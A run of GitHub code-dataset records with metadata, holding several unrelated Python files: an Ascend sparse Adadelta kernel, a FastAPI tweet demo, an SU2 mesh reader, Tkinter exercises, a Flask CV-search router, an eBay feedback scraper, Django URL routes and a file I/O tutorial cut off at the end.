rho.get(\"shape\")\n self.rho_dtype = rho.get(\"dtype\").lower()\n\n self.vdiv_support = False\n\n self.lr_scalar = self.tik_instance.Scalar(self.lr_dtype)\n self.rho_scalar = self.tik_instance.Scalar(self.rho_dtype)\n\n self.check_param()\n\n def check_param(self):\n \"\"\"\n Check parameter\n\n Parameters\n ----------\n None\n\n Returns\n -------\n None\n \"\"\"\n add_support = tbe_platform.cce_conf.api_check_support(\n \"tik.vadd\", \"float32\")\n\n self.vdiv_support = tbe_platform.cce_conf.api_check_support(\n \"tik.vdiv\", \"float32\")\n\n if self.var_dtype == \"float32\" and not add_support:\n raise RuntimeError(\n \"Input dtype is float32, but do not support on the platform\")\n\n util.check_shape_rule(self.var_shape)\n util.check_shape_rule(self.accum_shape)\n util.check_shape_rule(self.accum_update_shape)\n util.check_shape_rule(self.lr_shape)\n util.check_shape_rule(self.rho_shape)\n\n util.check_shape_size(self.var_shape, SHAPE_SIZE_LIMIT)\n util.check_shape_size(self.accum_shape, SHAPE_SIZE_LIMIT)\n util.check_shape_size(self.accum_update_shape, SHAPE_SIZE_LIMIT)\n util.check_shape_size(self.lr_shape, SHAPE_SIZE_LIMIT)\n util.check_shape_size(self.rho_shape, SHAPE_SIZE_LIMIT)\n\n check_list_var_dtype = (\"float32\")\n util.check_dtype_rule(self.var_dtype, check_list_var_dtype)\n util.check_dtype_rule(self.accum_dtype, check_list_var_dtype)\n util.check_dtype_rule(self.accum_update_dtype, check_list_var_dtype)\n util.check_dtype_rule(self.lr_dtype, check_list_var_dtype)\n util.check_dtype_rule(self.rho_dtype, check_list_var_dtype)\n\n if self.accum_shape != self.var_shape:\n raise RuntimeError(\n \"accum's shape must be the same as var's shape\")\n\n if self.accum_update_shape != self.var_shape:\n raise RuntimeError(\n \"accum_update's shape must be the same as var's shape\")\n\n def calc(self, repeat_times, mask, offset):\n tmp1_ub = self.get_ub(\"tmp1_ub\")[offset]\n tmp2_ub = self.get_ub(\"tmp2_ub\")[offset]\n\n lr_ub = self.get_ub(\"lr_ub\")\n rho_ub = self.get_ub(\"rho_ub\")\n\n lr_gm = self.get_scalar_gm(\"lr_gm\")\n rho_gm = self.get_scalar_gm(\"rho_gm\")\n\n self.tik_instance.tensor_mov(lr_ub, lr_gm, '', 1, 1, 0, 0)\n self.lr_scalar.set_as(lr_ub[0])\n\n self.tik_instance.tensor_mov(rho_ub, rho_gm, '', 1, 1, 0, 0)\n self.rho_scalar.set_as(rho_ub[0])\n\n if self.each_row_data_num <= self.cache_threshold_col:\n var_ub = self.get_ub(\"var_align_ub\")[offset]\n accum_ub = self.get_ub(\"accum_align_ub\")[offset]\n accum_update_ub = self.get_ub(\"accum_update_align_ub\")[offset]\n grad_ub = self.grad_align_ub[offset]\n else:\n var_ub = self.get_ub(\"var_ub\")[offset]\n accum_ub = self.get_ub(\"accum_ub\")[offset]\n accum_update_ub = self.get_ub(\"accum_update_ub\")[offset]\n grad_ub = self.grad_ub[offset]\n\n\n self.tik_instance.vmuls(mask, accum_ub, accum_ub,\n self.rho_scalar, repeat_times, 1, 1, 8, 8)\n self.tik_instance.vmul(mask, tmp1_ub, grad_ub, grad_ub, repeat_times,\n 1, 1, 1, 8, 8, 8)\n self.tik_instance.vmuls(mask, tmp1_ub, tmp1_ub,\n (1 - self.rho_scalar), repeat_times,\n 1, 1, 8, 8)\n self.tik_instance.vadd(mask, accum_ub, accum_ub, tmp1_ub,\n repeat_times, 1, 1, 1, 8, 8, 8)\n\n\n self.tik_instance.vadds(mask, tmp1_ub, accum_update_ub,\n self.epsilon, repeat_times, 1, 1, 8, 8)\n self.tik_instance.vsqrt(mask, tmp1_ub, tmp1_ub,\n repeat_times, 1, 1, 8, 8)\n self.tik_instance.vadds(mask, tmp2_ub, accum_ub,\n self.epsilon, repeat_times, 1, 1, 8, 8)\n self.tik_instance.vsqrt(mask, tmp2_ub, tmp2_ub,\n repeat_times, 1, 1, 8, 8)\n if self.vdiv_support:\n self.tik_instance.vdiv(mask,\n tmp2_ub,\n grad_ub,\n tmp2_ub,\n repeat_times,\n 1, 1, 1, 8, 8, 8)\n else:\n self.tik_instance.vrec(mask, tmp2_ub, tmp2_ub,\n repeat_times, 1, 1, 8, 8)\n self.tik_instance.vmul(mask, tmp2_ub, grad_ub,\n tmp2_ub, repeat_times, 1, 1, 1, 8, 8, 8)\n\n self.tik_instance.vmul(mask, tmp1_ub, tmp1_ub, tmp2_ub,\n repeat_times, 1, 1, 1, 8, 8, 8)\n\n self.tik_instance.vmuls(mask, tmp2_ub, tmp1_ub,\n self.lr_scalar, repeat_times, 1, 1, 8, 8)\n self.tik_instance.vsub(mask, var_ub, var_ub, tmp2_ub,\n repeat_times, 1, 1, 1, 8, 8, 8)\n\n self.tik_instance.vmuls(mask, accum_update_ub, accum_update_ub,\n self.rho_scalar, repeat_times, 1, 1, 8, 8)\n self.tik_instance.vmul(mask, tmp2_ub, tmp1_ub, tmp1_ub,\n repeat_times, 1, 1, 1, 8, 8, 8)\n self.tik_instance.vmuls(mask, tmp2_ub, tmp2_ub,\n (1 - self.rho_scalar), repeat_times,\n 1, 1, 8, 8)\n self.tik_instance.vadd(mask, accum_update_ub, accum_update_ub,\n tmp2_ub, repeat_times, 1, 1, 1, 8, 8, 8)\n\n\n# pylint: disable=too-many-arguments,unused-argument,invalid-name\n@util.check_input_type(dict, dict, dict, dict, dict, dict, dict,\n dict, dict, dict, float, bool, str)\ndef sparse_apply_adadelta_d(var,\n accum,\n accum_update,\n lr,\n rho,\n grad,\n indices,\n out_var,\n out_accum,\n out_accum_update,\n epsilon,\n use_locking=False,\n kernel_name=\"sparse_apply_adadelta_d\"):\n \"\"\"\n Updates \"var\" in specified index according to the Adadelta algorithm.\n\n accum{t} <- rho * accum{t - 1} + (1 - rho) * grad.square()\n update <- (accum_update{t - 1} + epsilon).sqrt() *\n (accum{t} + epsilon()).rsqrt() * grad\n var{t} <- var{t - 1} - update * lr\n accum_update{t} <- rho() * accum_update{t - 1} +\n (1 - rho()) * update.square()\n\n Parameters\n ----------\n var: dict\n dict of tensor var, include shape and dtype,\n dtype only support float32.\n accum: dict\n dict of tensor accum, include shape and dtype.\n Must have the same dtype and shape as var.\n accum_update: dict\n dict of tensor accum_update, include shape and dtype.\n Must have the same dtype and shape as var.\n lr: dict\n dict of scalar lr,\n Must have the same dtype as var.\n grad: dict\n dict of tensor grad,\n Must have the same dtype as var.\n indices: dict\n dict of tensor indices, include shape and dtype, only support int32.\n out_var: dict\n dict of out_var, include shape and dtype.\n out_accum: dict\n dict of out_accum, include shape and dtype.\n out_accum_update: dict\n dict of out_accum_update, include shape and dtype.\n rho: float\n scalar\n accum_updateentum: float\n scalar\n epsilon: float\n scalar\n use_locking: bool\n not used in this compute\n kernel_name: str\n kernel name, default value is \"sparse_apply_adadelta_d\"\n\n Returns:\n None\n \"\"\"\n sparse_apply_adadelta = SparseApplyAdadelta(var, accum, accum_update, lr,\n rho, grad, indices, epsilon,\n kernel_name)\n var_shape = var.get(\"shape\")\n var_dtype = var.get(\"dtype\").lower()\n\n sparse_apply_adadelta.add_input(\"var_in_gm\", var_dtype, var_shape)\n sparse_apply_adadelta.add_input(\"accum_in_gm\", var_dtype, var_shape)\n sparse_apply_adadelta.add_input(\"accum_update_in_gm\", var_dtype, var_shape)\n sparse_apply_adadelta.allocate_scalar_gm(\"lr_gm\", var_dtype)\n sparse_apply_adadelta.allocate_scalar_gm(\"rho_gm\", var_dtype)\n\n sparse_apply_adadelta.add_output(\"var_out_gm\", var_dtype, var_shape)\n sparse_apply_adadelta.add_output(\"accum_out_gm\", var_dtype, var_shape)\n sparse_apply_adadelta.add_output(\"accum_update_out_gm\",\n var_dtype,\n var_shape)\n sparse_apply_adadelta.reserve_ub(\"var_ub\", var_dtype, \"var_align_ub\")\n sparse_apply_adadelta.reserve_ub(\"accum_ub\", var_dtype, \"accum_align_ub\")\n sparse_apply_adadelta.reserve_ub(\"accum_update_ub\",\n var_dtype,\n \"accum_update_align_ub\")\n sparse_apply_adadelta.reserve_ub(\"lr_ub\", var_dtype, is_scalar=True)\n sparse_apply_adadelta.reserve_ub(\"rho_ub\", var_dtype, is_scalar=True)\n sparse_apply_adadelta.reserve_ub(\"tmp1_ub\", var_dtype)\n sparse_apply_adadelta.reserve_ub(\"tmp2_ub\", var_dtype)\n sparse_apply_adadelta.set_var_rows(var_shape[0])\n sparse_apply_adadelta.sparse_apply_operator()\n","repo_name":"jizhuoran/caffe-huawei-atlas-convertor","sub_path":"convertor/huawei/impl/sparse_apply_adadelta_d.py","file_name":"sparse_apply_adadelta_d.py","file_ext":"py","file_size_in_byte":11946,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"35070387515","text":"# FastAPI applied ver.\n# applied followings;\n# - error exception handling\n\nimport json\nimport datetime\nfrom typing import List\n\nimport uvicorn\nfrom fastapi import FastAPI, status, Request\nfrom fastapi.responses import JSONResponse\nfrom fastapi.exceptions import RequestValidationError, ValidationError\nfrom pydantic import BaseModel\nfrom pydantic import validator\n\n\napp = FastAPI()\n\napp.APP_USERS: dict = {}\napp.USER_INDEX: int = 1\napp.TWEET: List[dict] = []\n\n\n@app.exception_handler(RequestValidationError)\nasync def validation_exception_handler(request: Request, exc):\n\n json.loads(exc.json())\n response = {\"msg\": []}\n\n for error in json.loads(exc.json()):\n response[\"msg\"].append(\"{loc}: {msg}\".format(loc=error['loc'][-1],\n msg=error['msg']))\n\n return JSONResponse(\n status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,\n content=response\n )\n\n@app.get(\"/\")\nasync def hello_world():\n return \"Hello World\"\n\n@app.get(\"/ping\")\nasync def ping():\n return \"pong\"\n\n\nclass NewUserInput(BaseModel): # (2)\n username: str\n email: str\n\n @validator(\"username\")\n def username_must_unique(cls, v):\n username_ls = [app.APP_USERS[k]['username'] for k in app.APP_USERS.keys()]\n if v in username_ls:\n raise ValueError(\"Duplicated username\")\n return v\n\n @validator(\"email\")\n def email_must_unique(cls, v):\n email_ls = [app.APP_USERS[k]['email'] for k in app.APP_USERS.keys()]\n if v in email_ls:\n raise ValueError(\"Duplicated email address\")\n return v\n\n\n@app.post(\"/sign_up\") # (3)\nasync def sign_up(new_user: NewUserInput):\n\n new_user = new_user.dict()\n new_user[\"idx\"]=app.USER_INDEX\n app.APP_USERS[new_user[\"idx\"]] = new_user\n app.USER_INDEX += 1\n\n return JSONResponse(\n content = new_user,\n status_code= status.HTTP_200_OK\n )\n\n@app.get(\"/user_list\") # (4)\nasync def get_user_list():\n return JSONResponse(\n content=app.APP_USERS,\n status_code=status.HTTP_200_OK\n )\n\nclass TweetInput(BaseModel):\n user_index: int\n tweet: str\n\n @validator(\"user_index\")\n def user_index_check(cls, v):\n if v not in app.APP_USERS.keys():\n raise ValueError(\"User does not exist\")\n return v\n\n @validator(\"tweet\")\n def tweet_length(cls, v):\n if len(v) > 300:\n raise ValueError(\"Tweet message exceeds 300 characters\")\n return v\n\n\n@app.post(\"/tweet/new_tweet\")\nasync def new_tweet(tweet_input: TweetInput):\n\n user_idx = tweet_input.user_index\n tweet = tweet_input.tweet\n\n app.TWEET.append({\n 'idx': user_idx,\n 'tweet': tweet,\n 'datetime': str(datetime.datetime.now())\n })\n\n return JSONResponse(\n content={\"input_tweet\": tweet},\n status_code=status.HTTP_200_OK\n )\n\n@app.get(\"/tweet/data\")\nasync def get_tweet_list():\n return JSONResponse(\n content = {\n \"output\": app.TWEET\n },\n status_code= status.HTTP_200_OK\n )\n\nif __name__ == \"__main__\":\n uvicorn.run(app=\"chp06_app:app\",\n host=\"0.0.0.0\",\n port=8989,\n log_level='info',\n access_log=True,\n use_colors=True,\n reload=False)","repo_name":"wonyoungseo/tuto-backpython-fastapi","sub_path":"chapter05/chp05_app_02_applied.py","file_name":"chp05_app_02_applied.py","file_ext":"py","file_size_in_byte":3307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74143199945","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis program is used for reading the grid data from a SU2 flie\n\n@Author:DuoGong\n\n@School:NPU\n\nCreated on:5.18.2016\n\n\"\"\"\n\"\"\"\n@Editor:YangDemin\n\n@School:NPU\n\nEdited on:6.12.2020\n\n\"\"\"\n#加载科学计算宏包\nimport numpy as np\nimport scipy as si\nimport pylab as pl\nimport sys\n#加载绘图相关宏包\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\n\nprint(\"\"\"\nThis program is used for reading the grid data from a SU2 flie\n\n\"\"\")\n#输入网格文件名,并逐行读取网格文件\n\nf=open(r'../mesh/APOLLO.su2') #打开su2文件\ntext=f.readlines() #读取\n\n#根据关键字,读取网格信息\nfor i in range (len(text)):\n l=text[i] #l represents the data of each lines\n identifier=l.split()[0] #first str in each lines\n if identifier == '%':\n continue\n if identifier =='NDIME=': #dimension\n Ndime=int(l.split()[1]) \n print ('It is a' ,Ndime, 'dimensional grid.')\n continue\n if identifier =='NPOIN=': #Grid Point number\n Npoin=int(l.split()[1])\n print ('There are',Npoin,'points in this grid.')\n Point_line=i #the starting line Number of nodes\n continue\n if identifier =='NMARK=': #boundary condition\n Nmark=int(l.split()[1])\n print ('There are',Nmark,'boundarys, they are:')\n \n Boundary_line=np.empty((Nmark),int) \n #nmark is the number of kinds of BC\n \n j=0\n continue\n if identifier =='MARKER_TAG=':#marker_tag is the type of BC (sym far and W)\n print (j,'--------',l.split()[1])#j denotes the type of BC\n #when BC changes, j will +1\n Boundary_line[j]=i#the starting line Number is stored in Boundary_line\n j=j+1\n continue\n \nX=np.empty(Npoin,float)#initializing the points by random value\nY=np.empty(Npoin,float)\nZ=np.empty(Npoin,float)\n#存储所有的坐标点\nfor i in range(Npoin):\n l=text[Point_line+1+i]\n X[i]=float(l.split()[0])\n Y[i]=float(l.split()[1])\n Z[i]=float(l.split()[2])\n \nprint ('which boundary is the WALL, please enter the number in 0 to',Nmark-1)\n\n\n \nwall_number = int (input())\n\nWall_line=Boundary_line[ wall_number ] #壁面边界开始行数\nl=text[Wall_line+1]\nWall_elements=int(l.split()[1]) #wall_points,the number of wall points\n #which is equal to the number of lines\n\nBoundary_point=np.zeros((Wall_elements,3),int)\n #initializing the array by\n #zero value. The function is the\n #the number of lines is wall_ele\n #the number of column is 3\n #integer type\nfor i in range (Wall_elements):\n l=text[Wall_line+2+i]\n identifier=int(l.split()[0])\n if identifier == 5:\n J=3\n #print ('三角形网格')\n if identifier == 9: # the block of codes is of no \n # use which is not runed\n J=4\n #print('四边形网格')\n if identifier == 3:\n J=2\n #print('直线网格')\n for j in range(J):\n Boundary_point[i,j]=float(l.split()[1+j]) # N lines and 3 columns\n \nx=np.empty((Wall_elements,J),float)\ny=np.empty((Wall_elements,J),float)\nz=np.empty((Wall_elements,J),float)\n\nfor i in range(Wall_elements): # store the data of points0\n for j in range(J):\n y[i,j]=X[Boundary_point[i,j]]\n x[i,j]=Y[Boundary_point[i,j]]\n z[i,j]=Z[Boundary_point[i,j]]\n\nnp.savez(\"Boundary.npz\",x,y,z)\n \nprint ('ALL the data is sucessfully loaded\\n next run MainUse.py to calculate the aerodynamic force') \n\n \n \n\n \n\n","repo_name":"YANG-DEMIN/Newton","sub_path":"code/GridRead.py","file_name":"GridRead.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72050288585","text":"from tkinter import *\r\n\r\nwindow=Tk()\r\nwindow.title(\"Vannakkam\")\r\nwindow.minsize(width=300,height=300)\r\nwindow.config(padx=30,pady=30)#padding the window\r\n# display data in screen\r\nlabel=Label(text=\"vanga sapadhalam\",font=(\"Arial\",25))\r\n# label.pack() this will show the data on the output screen\r\nlabel.grid(column=0,row=0)\r\nlabel[\"text\"]=\"ponga\"#changes the argument \r\nlabel.config(text=\"vaanga\",font=(50))#changes multiple arguments\r\n\r\n\r\ndef button_clicked():\r\n i=input.get()\r\n label[\"text\"]=i\r\n print(\"Button is pressed\")\r\n\r\nbutton1=Button(text=\"press 1\",command=button_clicked)\r\nbutton1.grid(column=1,row=1)\r\nbutton2=Button(text=\"press 2\")\r\nbutton2.grid(column=3,row=0)\r\ninput=Entry()\r\ninput.grid(column=4,row=3)\r\n \r\nwindow.mainloop()\r\n\r\n# def singleasterisk(*args):\r\n# sum=0\r\n# for i in args:\r\n# sum+=i\r\n# print(sum)\r\n# singleasterisk(2,3,4,5,3,3,4,4)\r\n\r\n# def doubleasterisk(**kwargs):\r\n\r\n# print(kwargs[\"a\"]+kwargs[\"b\"])\r\n\r\n# doubleasterisk(a=4,b=3)","repo_name":"Ferdeno/Pythonprojects","sub_path":"Day 27 mile to km calculator/tkinter practice.py","file_name":"tkinter practice.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"29582179578","text":"import tkinter as tk\nfrom typing import Literal, Optional, Tuple, Union\nfrom typing_extensions import Literal\n\nimport customtkinter as ctk\nfrom PIL import Image, ImageTk\nfrom customtkinter.windows.widgets.font import CTkFont\n\nfrom Database.database import *\n\n\nclass StartScreen:\n def __init__(self, main, parent_frame, language):\n self.main = main\n self.parent_frame = parent_frame\n self.language = language\n self.create_start_screen()\n # self.language_change(self.language)\n\n def language_change(self, language):\n pass\n\n def create_start_screen(self):\n start_screen_frame = ctk.CTkFrame(self.parent_frame)\n start_screen_frame.grid(column=0, row=0, sticky=\"nsew\")\n start_screen_frame.grid_columnconfigure((0, 2), weight=1)\n start_screen_frame.grid_columnconfigure(1, weight=5)\n start_screen_frame.grid_rowconfigure(0, weight=1)\n\n # Header\n header_frame = ctk.CTkFrame(start_screen_frame)\n header_frame.grid(column=0, row=0, columnspan=3, sticky=\"nsew\")\n\n # TODO staviti na dno\n # Language picker\n self.language_var = ctk.StringVar(value=\"Hrvatski\")\n self.language_optionmenu = ctk.CTkOptionMenu(\n start_screen_frame,\n variable=self.language_var,\n values=[\"Hrvatski\", \"Engleski\", \"Njemački\"],\n command=self.language_change,\n )\n self.language_optionmenu.grid(column=0, row=3, padx=25, sticky=\"w\")\n\n # Navigation\n navigation_frame = ctk.CTkFrame(start_screen_frame)\n navigation_frame.grid(column=0, row=1, columnspan=3, pady=10)\n\n self.segmented_button_var = ctk.StringVar()\n self.navigation = ctk.CTkSegmentedButton(\n navigation_frame,\n values=[\n \"Pregled\",\n \"Transakcije\",\n \"Kartice\",\n \"Trgovine\",\n ],\n command=self.segmented_button_callback,\n variable=self.segmented_button_var,\n )\n self.navigation.grid(column=0, row=0)\n\n # Informations\n self.information_frame = ctk.CTkFrame(start_screen_frame)\n self.information_frame.grid(column=0, row=2, columnspan=3, sticky=\"nsew\")\n self.information_frame.grid_columnconfigure(0, weight=1)\n self.information_frame.grid_rowconfigure(0, weight=1)\n\n def clear_information_frame(self):\n for child in self.information_frame.winfo_children():\n child.destroy()\n\n def segmented_button_callback(self, segmented_button_var):\n self.clear_information_frame()\n if (\n segmented_button_var == \"Pregled\"\n or segmented_button_var == \"Overview\"\n or segmented_button_var == \"Überblick\"\n ):\n Overview(self.information_frame, self.language_var)\n elif (\n segmented_button_var == \"Transakcije\"\n or segmented_button_var == \"Transactions\"\n or segmented_button_var == \"Transaktionen\"\n ):\n pass\n elif (\n segmented_button_var == \"Kartice\"\n or segmented_button_var == \"Cards\"\n or segmented_button_var == \"Karten\"\n ):\n pass\n elif (\n segmented_button_var == \"Trgovine\"\n or segmented_button_var == \"Markets\"\n or segmented_button_var == \"Geschäfte\"\n ):\n pass\n\n\nclass Overview:\n def __init__(self, main_frame, language):\n self.main_frame = main_frame\n self.language = language\n self.create_overview_screen()\n\n def create_overview_screen(self):\n overview_frame = ctk.CTkScrollableFrame(self.main_frame)\n overview_frame.grid(column=0, row=0, sticky=\"nsew\")\n\n # Income frame\n income_frame = ctk.CTkFrame(overview_frame)\n income_frame.grid(column=0, row=0, columnspan=2)\n # TODO dodati line graf sa incomom u zadnjih 6 mjeseci\n\n # Expenses frame\n expenses_frame = ctk.CTkFrame(overview_frame)\n expenses_frame.grid(column=2, row=0, columnspan=2)\n # TODO dodati line graf sa expensima u zdanjih 6 mjeseci\n\n # Transactions frame\n transactions_frame = ctk.CTkFrame(overview_frame)\n transactions_frame.grid(column=0, row=1, rowspan=3)\n\n # Expenses by months\n expenses_by_month_frame = ctk.CTkFrame(overview_frame)\n expenses_by_month_frame.grid(column=1, columnspan=3, row=1, rowspan=2)\n # TODO dodati bar graf za zadnjih 6 mjeseci ukupne potrošnje\n\n # Expenses by market\n expenses_by_market_frame = ctk.CTkFrame(overview_frame)\n expenses_by_market_frame.grid(column=0, columnspan=2, row=2, rowspan=2)\n # TODO dodati pie graf za potrošnju za trenutni mjesec po trgovinama (možda dodati da se može birati mjesec)\n\n # Expenses by category\n expenses_by_category_frame = ctk.CTkFrame(overview_frame)\n expenses_by_category_frame.grid(column=2, columnspan=2, row=2, rowspan=2)\n # TODO dodati pie graf za potrošnju za trenutni mjesec po kategorijama (možda dodati da se može birati mjesec)\n\n\nclass Transactions:\n def __init__(self, main_frame, language):\n self.main_frame = main_frame\n self.language = language\n\n def create_transactions_screen(self):\n pass\n","repo_name":"lata19/BudgetApp","sub_path":"Screens/Overview/start_screen.py","file_name":"start_screen.py","file_ext":"py","file_size_in_byte":5340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"21807399087","text":"__author__ = 'vyt'\n\nfrom mainCVB import func01_cvb, cities_cvb, industries_cvb, validate_cvb_login\nfrom mainCVO import func01_cvo, validate_cvo_login, industries_cvo_numbers, cities_cvo_numbers\nimport json\n\n# takes a dict of submitted query and extracts data, pushes to db query\ndef recognize_dat_data_and_find_cvs(list, user, query_data=False):\n\n data_of_search_queries = []\n city_cvo = []\n industry_cvo = []\n\n #which database to search in?\n database = ''\n if 'CVB' in list and 'CVO' in list:\n database = 'All'\n elif 'CVB' in list and 'CVO' not in list:\n database = 'CVB'\n elif 'CVB' not in list and 'CVO' in list:\n database = 'CVO'\n else:\n database = 'All'\n\n search_data_cvb = {'action':1,'miestas':'', 'patirt_sritis[]':'', 'search_string':''}\n city_cvb = []\n industry_cvb = []\n search_data_cvb['search_string'] = list['kwrds']\n days_limit = int(list['CVold']) if len(list['CVold']) >= 1 else 20\n for x in list.keys():\n if x in cities_cvb:\n city_cvb.append(x)\n elif x in industries_cvb:\n industry_cvb.append(x) if x != 'Visos sritys' else industry_cvb.append('')\n elif x in industries_cvo_numbers:\n industry_cvo.append(x)\n elif x in cities_cvo_numbers:\n city_cvo.append(x)\n\n #if no parameters selected\n if len(city_cvb) == 0:\n city_cvb.append('')\n if len(industry_cvb) == 0:\n industry_cvb.append('')\n if len(city_cvo) == 0:\n city_cvo.append('')\n if len(industry_cvo) == 0:\n industry_cvo.append('')\n\n print('citycvo{}'.format(city_cvo))\n\n # iterate though every city * industry_cvb query and collect CV links to list >>CVB<<\n if database == 'CVB' or database == 'All':\n for y in city_cvb:\n search_data_cvb['miestas'] = y\n for z in industry_cvb: # sita pakeisti, nes gali ieskot keliose srityse vienu metu\n search_data_cvb['patirt_sritis[]'] = z\n one_search_query = func01_cvb(search_data_cvb, user, days_limit=days_limit)\n data_of_search_queries.append(one_search_query)\n\n\n # collect CV links to list >>CVO<<\n if database == 'CVO' or database == 'All':\n if len(city_cvo[0]) == 0:\n data_of_search_queries.append(func01_cvo(list['kwrds'], user, industry=industry_cvo if len(industry_cvo[0]) > 0 else None, days_limit=days_limit, city=None))\n else:\n for city in city_cvo:\n data_of_search_queries.append(func01_cvo(list['kwrds'], user, industry=industry_cvo if len(industry_cvo[0]) > 0 else None, days_limit=days_limit, city=city))\n\n\n if query_data:\n return data_of_search_queries, join_by_commas(city_cvb, city_cvo), join_by_commas(industry_cvb, industry_cvo), list['kwrds'], days_limit, database\n else:\n return data_of_search_queries\n\n#recognize_dat_data_and_find_cvs({'CVold': '50', 'kwrds': 'java'})\n\n\ndef validate_logins(site, acc, pss):\n if site == 'cvbankas':\n return [validate_cvb_login(acc, pss), 'cvb']\n elif site == 'cvonline':\n return [validate_cvo_login(acc, pss), 'cvo']\n\n\n\nsomejs = ''' $(document).ready(function() {\n $('#wrap').fadeIn()\n $(\"#kwrds\").not('.moda').attr('disabled', 'disabled');\n });'''\n\ndef join_by_commas(cvb, cvo):\n a = ','.join(cvb)\n b = ','.join(cvo)\n if len(a) > 0:\n if len(b) > 0:\n return a+','+b\n else:\n return a\n if len(b) > 0:\n if len(a) > 0:\n return a+','+b\n else:\n return b\n return ''","repo_name":"vybu/Flask-Megatron-One","sub_path":"router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"37475172195","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nmy_list=[1,2,3,4]\nprint(my_list)\n\n\n# In[2]:\n\n\ndef get_largest(list):\n max=list[0]\n for i in list:\n if i > max:\n max= i \n return max\n\n\n# In[4]:\n\n\nprint(get_largest(my_list))\n\n","repo_name":"ModyMoatafa/Amit-Assignment-2","sub_path":"AMIT Assignment/Question 5.py","file_name":"Question 5.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"8324656405","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('show_end/', views.show_end, name='show_end'),\n path('add_cinema/', views.add_cinema, name='add_cinema'),\n path('add_show_time/', views.add_show_time, name='add_show_time'),\n path('/edit/', views.edit_cinema, name='edit_cinema'),\n path('//edit/', views.edit_session,\n name='edit_session'),\n path('//confrim_delete/',\n views.confrim_delete_session, name='confrim_delete_session'),\n path('//delete/', views.delete_session,\n name='delete_session'),\n]\n","repo_name":"Ecmek/kino-globus","sub_path":"globus/afisha/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"23449520263","text":"from selenium import webdriver\r\n#from urllib.request import urlopen as u_req\r\nfrom bs4 import BeautifulSoup as soup\r\nimport time\r\n\r\n\r\ndriver = webdriver.Chrome(\"C:\\chromedriver.exe\")\r\nurl = \"https://www.ebay.com/fdbk/feedback_profile/littlekitty0103?filter=feedback_page:All\"\r\ndriver.get(url)\r\ntime.sleep(2)\r\n\r\n#To Change item per page\r\nitem_per_page = driver.find_element_by_xpath('//*[@id=\"mainContent\"]/section[1]/section[2]/section/div[5]/div[3]/div/button[4]')\r\nitem_per_page.click()\r\ntime.sleep(2)\r\n#To find number of pages\r\nnumber_of_pages = driver.find_element_by_xpath('//*[@id=\"mainContent\"]/section[1]/section[2]/section/div[5]/div[1]/span').text\r\nnumber_of_pages = int(number_of_pages.split()[-1])\r\n\r\n\r\nf=open(\"products.csv\",\"w\")\r\n\r\ndef run(number_of_pages):\r\n print(\"Data collection started ......\")\r\n\r\n for _ in range(1,number_of_pages):\r\n page_soup = soup(driver.page_source, 'html.parser')\r\n card_notice = page_soup.find(\"table\",{\"id\":\"feedback-cards\"})\r\n card_elements = card_notice.find(\"tbody\")\r\n card_elements = card_elements.findAll(\"tr\")\r\n\r\n for element in card_elements:\r\n\r\n notice = element.find(\"div\",{\"class\":\"card__notice\"})\r\n if notice:\r\n print(notice.text)\r\n else: \r\n feedback = \"null\"\r\n price = \"null\"\r\n seller = \"null\"\r\n product = \"null\"\r\n containers = element.find(\"div\",{\"class\":\"card__feedback-container\"})\r\n sellers = element.find(\"div\",{\"class\":\"card__from\"})\r\n prices = element.find(\"div\",{\"class\":\"card__price\"})\r\n \r\n if containers:\r\n spans = containers.findAll(\"span\")\r\n \r\n if len(spans)>2:\r\n feedback = spans[0][\"aria-label\"]\r\n product = spans[-2].text\r\n color = containers.find(\"div\",{\"class\":\"card__item\"})\r\n product += color.a.text + \")\"\r\n elif len(spans) ==2:\r\n feedback = spans[0][\"aria-label\"]\r\n product = spans[-1].text \r\n else:\r\n feedback = spans[0][\"aria-label\"] \r\n if sellers:\r\n if sellers.a:\r\n seller=sellers.a.get_text()\r\n \r\n elif prices:\r\n price = prices.span.text \r\n print(feedback)\r\n \r\n f.write(feedback.replace(\",\",\"|\") +\",\" + price.replace(\",\",\"|\") + \",\" +seller.replace(\",\",\"|\") + ',' + product.replace(\",\",\"|\") + \"\\n\") \r\n next_button = driver.find_element_by_class_name(\"pagination__next\")\r\n next_button.click()\r\n time.sleep(3) \r\n print(\"Data saved successfully\") \r\nf.close() \r\nrun(number_of_pages)\r\n\r\n","repo_name":"Dinesh-3/EUNIMART","sub_path":"Completed.py","file_name":"Completed.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"12572360000","text":"#f= open(file,mode)\r\n#r=> open existing file for read operation\r\n#w=> open existing file for write operation\r\n#a => open existing file for append operation(does not override)\r\n#r+ => read and write data => it will not override\r\n#w+ => write and read => it will override\r\n#a+ => to append and read data from file\r\n\r\n \r\n#write operation\r\nf= open(\"mydata.txt\",'w')\r\nf.write(\"Hello World\")\r\nf.write(\"Hi World\")\r\nf.close()\r\n\r\n\r\n#append Operation\r\nf=open(\"mydata.txt\",\"a\")\r\nf.write(\"this is append operation\")\r\nf.close()\r\n\r\n#read Operation\r\nf=open(\"mydata.txt\",\"r\")\r\nprint(f.read())\r\nf.close()\r\n\r\n\r\n#writing 